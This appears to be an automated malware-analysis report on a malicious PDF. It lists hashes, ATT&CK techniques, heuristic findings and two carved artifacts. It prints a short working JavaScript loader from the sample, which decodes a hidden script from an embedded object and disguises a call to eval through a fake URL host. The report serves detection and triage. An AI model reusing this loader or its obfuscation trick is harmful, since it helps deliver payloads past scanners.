PDF malware analysis — malicious · 3d75dd81279bd367

MALICIOUS

PDF

4.5 KB First seen: 2026-05-07

MD5: 16ac357d930e5e007cb8c927c322ae67 SHA-1: b7908c631f20d0615f964ab408dda71081cce817 SHA-256: 3d75dd81279bd367dfa9b9db7240db5ba62d643ed55454f94995cc325f6d88bf

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

This PDF file was flagged by a machine learning classifier with high confidence as malicious. It contains embedded JavaScript and an embedded binary file, indicating a likely attempt to download and execute a secondary payload. The presence of these embedded objects strongly suggests a malicious intent, although the specific family could not be determined.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x429	78030 bytes
SHA-256: `60075e63f10e3894cdf93a8768ab096f9963561a8e3135d5702a4e79df51879b`
Detection ClamAV: No threats found Obfuscation or payload: likely 267 of 267 identifiers look randomly generated (e.g. 'J0Tvn8SP4APKzWEa1J0Tvn8SP4APKzWEa2J0Tvn8') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x1F1	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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